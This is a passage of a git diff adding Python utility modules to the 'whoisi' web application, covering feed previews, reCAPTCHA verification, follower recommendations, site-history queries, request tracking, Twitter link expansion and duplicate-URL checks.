+        return entry.summary
+
+    return ""
+
+    
diff --git a/whoisi/utils/preview_site.py b/whoisi/utils/preview_site.py
new file mode 100644 (file)
index 0000000..6863d8b
--- /dev/null
@@ -0,0 +1,128 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from datetime import datetime
+from fast_history import SiteHistoryFake, SiteFake
+
+def convert_feed_to_fake_site(feed, type, max_depth):
+    # create a SiteHistoryFakePreview for each entry in the feed, up
+    # to the max_depth or the length of the feed
+    sh = []
+    for i in range(0, min(max_depth, len(feed["entries"]))):
+        sh.append(SiteHistoryFakePreview(feed, i))
+    # create a site object to hold site properties
+    s = SiteFakePreview(feed, type)
+    return s, sh
+
+def convert_linkedin_to_fake_site(url, current):
+    # create a SiteLinkedInFakePreview for this site
+    return SiteLinkedInFake(url, current)
+
+class SiteLinkedInFake:
+    def __init__(self, url, current):
+        self.url = url
+        self.current = current
+
+    def __getattr__(self, name):
+        if name == "url":
+            return self.url
+        elif name == "id":
+            return 0
+        elif name == "current":
+            return self.current
+        elif name == "type":
+            return "linkedin"
+
+        raise AttributeError(name)
+
+class SiteFakePreview:
+    def __init__(self, feed, type):
+        self.f = feed
+        self.type = type
+
+    def __getattr__(self, name):
+        if name == "id":
+            return 0
+        elif name == "title":
+            return self.f["title"]
+        elif name == "url":
+            return self.f["link"]
+        elif name == "type":
+            return self.type
+
+        raise AttributeError(name)
+
+class SiteHistoryFakePreview(SiteHistoryFake):
+    def __init__(self, feed, offset):
+        self.feed = feed
+        self.o = offset
+        self.e = feed["entries"]
+
+    def __getattr__(self, name):
+        if name == "id":
+            return 0
+        elif name == "link":
+            return self.e[self.o]["link"]
+        elif name == "title":
+            return self.e[self.o]["title"]
+        elif name == "display_cache":
+            return self.e[self.o]["display_cache"]
+        elif name == "content":
+            # The content element comes back from the feed as an array
+            # of possible types - just find the text/html one.  See
+            # also getBestContent() in services/command/feedparse.py
+            c = self.e[self.o]["content"]
+            if c is None:
+                return None
+
+            for i in c:
+                if i["type"] == u'text/html':
+                    return i["value"]
+
+            return None
+
+        elif name == "summary":
+            return self.e[self.o]["summary"]
+
+        elif name == "published":
+            t = self.e[self.o]["published"]
+            if t is None:
+                return None
+
+            return datetime(*t)
+
+        elif name == "updated":
+            t = self.e[self.o]["updated"]
+            if t is None:
+                return None
+
+            return datetime(*t)
+
+        elif name == "added":
+            return datetime.utcnow()
+
+        raise AttributeError(name)
+
+
+    
+
+
diff --git a/whoisi/utils/recaptcha.py b/whoisi/utils/recaptcha.py
new file mode 100644 (file)
index 0000000..17e1b0e
--- /dev/null
@@ -0,0 +1,55 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+import urllib
+import urllib2
+import cherrypy
+import re
+import turbogears.config as config
+
+recaptcha_private_key = config.get("whoisi.recaptcha_private_key")
+
+def recaptcha_check_fail(challenge, response):
+    # check if we've disabled captchas
+    if config.get("recaptcha.enabled", True) == False:
+        return None
+
+    # strip out any IPv6 information
+    addr = re.search("\d+\.\d+\.\d+\.\d+", cherrypy.request.remoteAddr).group(0)
+    f = dict(privatekey=recaptcha_private_key,
+             remoteip=addr,
+             challenge=challenge,
+             response=response)
+    data = urllib.urlencode(f)
+    print data
+    req = urllib2.Request(url="http://api-verify.recaptcha.net/verify",
+                          data=data)
+    u = urllib2.urlopen(req)
+    check = u.read().split()
+    try:
+        if check[0] == 'true':
+            return None
+        if check[0] == 'false':
+            return check[1]
+    except:
+        return "recaptcha-not-reachable"
+
diff --git a/whoisi/utils/recommendations.py b/whoisi/utils/recommendations.py
new file mode 100644 (file)
index 0000000..b41cc2e
--- /dev/null
@@ -0,0 +1,105 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+# Copyright (c) 2008 Joe Shaw <joe@joeshaw.org>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+import datetime, math
+
+import whoisi.model as model
+
+def fast_followers():
+    c = model.Name._connection
+    q = """SELECT person_id, follower_id FROM follow_person"""
+    result = c.queryAll(q)
+
+    follower_dict = {}
+    for person_id, follower_id in result:
+        follower_dict.setdefault(follower_id, [])
+        follower_dict[follower_id].append(person_id)
+
+    return follower_dict
+
+def get_last_activity(follower_id):
+    c = model.Name._connection
+    q = "SELECT last_visit FROM follower WHERE id = %d" % (follower_id,)
+    result = c.queryOne(q)
+
+    return result[0].date()
+
+def get_most_popular(count = 10):
+    c = model.Name._connection
+    q = """SELECT person_id, follower_id FROM follow_person"""
+    result = c.queryAll(q)
+
+    histogram = {}
+    for person_id, follower_id in result:
+        histogram.setdefault(person_id, 0)
+        histogram[person_id] += 1
+
+    return sorted(histogram.keys(),
+                  key = lambda k: histogram[k],
+                  reverse = True)[:count]
+
+def get_recommendations(id, count = 10):
+    followers = fast_followers()
+
+    followed_people = set(followers[id])
+    recommendations = {}
+
+    for follower_id, person_id_list in followers.iteritems():
+        # Ignore ourself
+        if follower_id == id:
+            continue
+
+        common_people = followed_people.intersection(person_id_list)
+        similarity_score = (float(len(common_people)) /
+                            float(min([len(followed_people),
+                                       len(person_id_list)])))
+
+        if similarity_score <= 0.1:
+            continue
+
+        last_activity = get_last_activity(follower_id)
+
+        # Decay similarity score over time.  Up to 14 days is considered
+        # active and doesn't result in any decay.  Beyond that, there is
+        # a 45 day half-life.
+        days = (datetime.date.today() - last_activity).days
+
+        if days > 14:
+            new_score = similarity_score * math.pow(0.5, (days - 14) / 45.0)
+            similarity_score = new_score
+
+        if similarity_score <= 0.1:
+            continue
+
+        new_people = set(person_id_list).difference(followed_people)
+
+        if len(new_people) == 0:
+            continue
+
+        for person_id in new_people:
+            old_score = recommendations.setdefault(person_id, 0.0)
+            recommendations[person_id] = max([old_score, similarity_score])
+
+    return sorted(recommendations.keys(),
+                  key = lambda k: recommendations[k],
+                  reverse = True)[:count]
diff --git a/whoisi/utils/site_history.py b/whoisi/utils/site_history.py
new file mode 100644 (file)
index 0000000..a025e58
--- /dev/null
@@ -0,0 +1,79 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from whoisi.model import *
+from sqlobject.sqlbuilder import Select
+import whoisi.utils.follow as follow
+
+def reorder_history(x,y):
+    return cmp(x.getLastTouched(), y.getLastTouched())
+
+# select count(*) from site_history where (published > date) or (updated > date) or ((published is null and updated is null) and added > date)
+
+def get_recently_changed_site_history_for_follower(date):
+    f = follow.current()
+    h = SiteHistory.select(AND(SiteHistory.q.added > date,
+                               IN(SiteHistory.q.siteID,
+                                  Select(Site.q.id,
+                                         IN(Site.q.personID,
+                                            Select(FollowPerson.q.personID, FollowPerson.q.followerID == f.id))))))
+    # convert to an array and sort
+    s = list(h)
+    s.sort(cmp=reorder_history)
+    s.reverse()
+    return s
+
+def get_recently_changed_site_history(date):
+#    h = SiteHistory.select(OR(SiteHistory.q.published > date,
+#                           SiteHistory.q.updated > date,
+#                           AND(AND(SiteHistory.q.published == None, SiteHistory.q.updated == None),
+#                                   SiteHistory.q.added > date)))
+    h = SiteHistory.select(SiteHistory.q.added > date)
+#        OR(SiteHistory.q.published > date,
+#           SiteHistory.q.updated > date,
+#           SiteHistory.q.added > date,
+#           SiteHistory.q.touched > date))
+    # convert to an array and sort
+    s = list(h)
+    s.sort(cmp=reorder_history)
+    s.reverse()
+    return s
+
+def history_to_clusters(sh):
+    """
+    Take a list of site history objects and cluster them together by
+    sites - returns an array of arrays - one for each cluster.
+    """
+    c = []
+    last_site = sh[0].siteID
+    c.append([])
+    cur = 0
+    for i in sh:
+        if i.siteID == last_site:
+            c[cur].append(i)
+            continue
+        c.append([i])
+        cur = cur + 1
+        last_site = i.siteID
+
+    return c
+
diff --git a/whoisi/utils/sites.py b/whoisi/utils/sites.py
new file mode 100644 (file)
index 0000000..df65daf
--- /dev/null
@@ -0,0 +1,76 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from whoisi.model import *
+
+def site_value(site):
+    types = [ "flickr", "picasa", "linkedin", "twitter", "identica", "delicious", "feed" ]
+    return types.index(site.type)
+
+def reorder_sort(x,y):
+    return cmp(site_value(x), site_value(y))
+
+def reorder_sites(sites):
+    s = []
+    # convert to an array
+    for i in sites:
+        s.append(i)
+    # and sort
+    s.sort(cmp=reorder_sort)
+    return s
+
+def fast_sites_for_person(person_id):
+    q = "SELECT id, person_id, url, type, title, current FROM site WHERE person_id = %s AND is_removed is NULL"
+
+    c = Site._connection
+    rs = c.queryAll(q % c.sqlrepr(person_id))
+
+    retval = []
+    for i in rs:
+        retval.append(SiteFake(*i))
+
+    return retval
+
+class SiteFake:
+    def __init__(self, id, person_id, url, type, title, current):
+        self.id = id
+        self.personID = person_id
+        self.url = url
+        self.type = type
+        self.title = title
+        self.current = current
+
+    def __getattr__(self, name):
+        if name == "id":
+            return self.id
+        elif name == "personID":
+            return self.personID
+        elif name == "url":
+            return self.url
+        elif name == "type":
+            return self.type
+        elif name == "title":
+            return self.title
+        elif name == "current":
+            return self.current
+
+        raise AttributeError(name)
diff --git a/whoisi/utils/track.py b/whoisi/utils/track.py
new file mode 100644 (file)
index 0000000..fdd546e
--- /dev/null
@@ -0,0 +1,39 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from cherrypy import request
+
+def get_request_tracking():
+    # see if we need to get the remote IP from a forwarded address
+    remoteip = request.remoteAddr
+    proxy = request.headers.get("X-Forwarded-For", None)
+    ua = request.headers.get("user-agent", None)
+
+    # Since we're always behind a proxy server we trust the proxy
+    # server to make sure that it appends the real remote address
+    # even if someone adds a header.
+    if proxy:
+        remoteip = proxy
+
+    referer = request.headers.get("referer", None)
+
+    return remoteip, ua, referer
diff --git a/whoisi/utils/twitter.py b/whoisi/utils/twitter.py
new file mode 100644 (file)
index 0000000..55d764c
--- /dev/null
@@ -0,0 +1,40 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from urlparse import urlparse
+import re
+
+def get_name_prefix(site):
+    u = urlparse(site.url)
+    match = re.match('^/([^/]+$)' ,u[2])
+    return match.group(1)
+
+def get_text(prefix, text):
+    try:
+        return re.sub(prefix, '', text)
+    except:
+        return ''
+    
+
+def expand_user_ref(text, base_site):
+    repl = '<a class="weblog-summary" target="_blank" href="' + base_site + '\g<1>">@\g<1></a>'
+    return re.sub('@([A-Za-z0-9_]+)', repl, text)
diff --git a/whoisi/utils/url_lookup.py b/whoisi/utils/url_lookup.py
new file mode 100644 (file)
index 0000000..498cbec
--- /dev/null
@@ -0,0 +1,82 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from whoisi.model import *
+from sqlobject.sqlbuilder import *
+import re
+
+def check_db_for_site_dup(url):
+    retval = run_db_check(url)
+    if retval:
+        return retval
+
+    # run the same checks with or without a trailing slash
+
+    # if it has a ? it's a query - don't add a trailing slash - give
+    # up now.
+    if re.search('\?', url):
+        return None
+
+    # if it ends is a slash then remove it and re-run
+    if re.search('\/$', url):
+        url = re.sub('\/$', '', url)
+        return run_db_check(url)
+
+    # otherwise we just add a slash and return the value
+    return run_db_check(url + '/')
+
+def run_db_check(url):
+    # check for a url match in the site as long as it hasn't been
+    # removed.
+    rs = Site.select(table.site.url == url)
+    for i in rs:
+        if not i.isRemoved:
+            return i
+
+    # check the feed for a match
+    rs = Site.select(table.site.feed == url)
+    for i in rs:
+        if not i.isRemoved:
+            return i
+
+    # check the site history table for a match
+#    rs = SiteHistory.select(table.site_history.link == url)
+#    for i in rs:
+#        s = i.site
+#        if not s.isRemoved:
+#            return s
+
+    return None
+
+def check_feed_for_site_dup(feed):
+    # walk the links in the feed and any of the returned ids looking
+    # for dups
+    retval = check_db_for_site_dup(feed["link"])
+    if retval:
+        return retval
+
+    for e in feed["entries"]:
+        retval = check_db_for_site_dup(e["link"])
+        if retval:
+            return retval
+
+    return None